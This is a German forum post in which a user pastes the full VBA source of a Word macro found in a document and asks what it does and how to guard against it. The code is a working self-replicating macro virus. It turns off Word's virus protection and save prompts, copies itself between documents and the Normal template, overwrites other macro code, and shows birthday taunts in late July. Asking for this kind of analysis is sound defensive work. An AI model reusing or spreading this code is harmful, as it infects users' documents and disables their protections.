title image


Smiley an profis: ist das ein virus?
hier der code, der in einem dokument enthalten war. es gibt keine separaten codemodule etc. leider komm ich mit dem code nicht 100%ig zurecht! kann mir jemand infos geben? was genau richtet er für schaden an. präventivmassnahmen?danke---------------------Dim x1, x2, x3, x4 As BooleanDim x5, x6 As ObjectDim x7, x8, x16 As IntegerDim x9 As DateDim x10, x11, x12, x13, x14 As StringConst x15 = ":-D you are marked!"Private Sub Document_Close()On Error Resume NextSet x5 = ActiveDocument.VBProject.VBComponents.Item(1)Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End Withx9 = Now()x7 = Day(x9)x8 = Month(x9)If x7 >= 23 And x8 = 7 Then Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me" x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo) If x10 = vbYes Then MsgBox "Thank You! I Love You. You are wonderfull." Else MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical End IfEnd IfIf x3 = True Then x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)ElseIf x4 = True Then x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)End IfIf (x3 = True Xor x4 = True) And _ (ActiveDocument.SaveFormat = wdFormatDocument Or _ ActiveDocument.SaveFormat = wdFormatTemplate) Then If x3 = True Then x2 = NormalTemplate.Saved x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines) x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines x6.CodeModule.AddFromString x11 With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July. Don't Forget to wish him": .Execute: End With If x2 = True Then NormalTemplate.Save End If If x4 = True Or ActiveDocument.Saved = False Then x1 = ActiveDocument.Saved x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines) x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines x5.CodeModule.AddFromString x11 With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July. Don't Forget to wish him": .Execute: End With If x1 = True Then ActiveDocument.Save End If End IfEnd SubPrivate Sub Document_New()Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End WithIf x4 = False Then x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLinesEnd IfIf x3 = False Then x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLinesEnd Ifx9 = Now()x7 = Day(x9)x8 = Month(x9)If x7 >= 23 And x8 = 7 ThenWith Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End WithEnd IfEnd SubPrivate Sub Document_Open()Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End WithIf x4 = False Then x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLinesEnd IfIf x3 = False Then x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLinesEnd Ifx9 = Now()x7 = Day(x9)x8 = Month(x9)If x7 >= 23 And x8 = 7 Then x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)End IfEnd Sub
..:: no retreat - no surrender ::..

geschrieben von

Login

E-Mail:
  

Passwort:
  

Beitrag anfügen

Symbol:
 
 
 
 
 
 
 
 
 
 
 
 
 

Überschrift: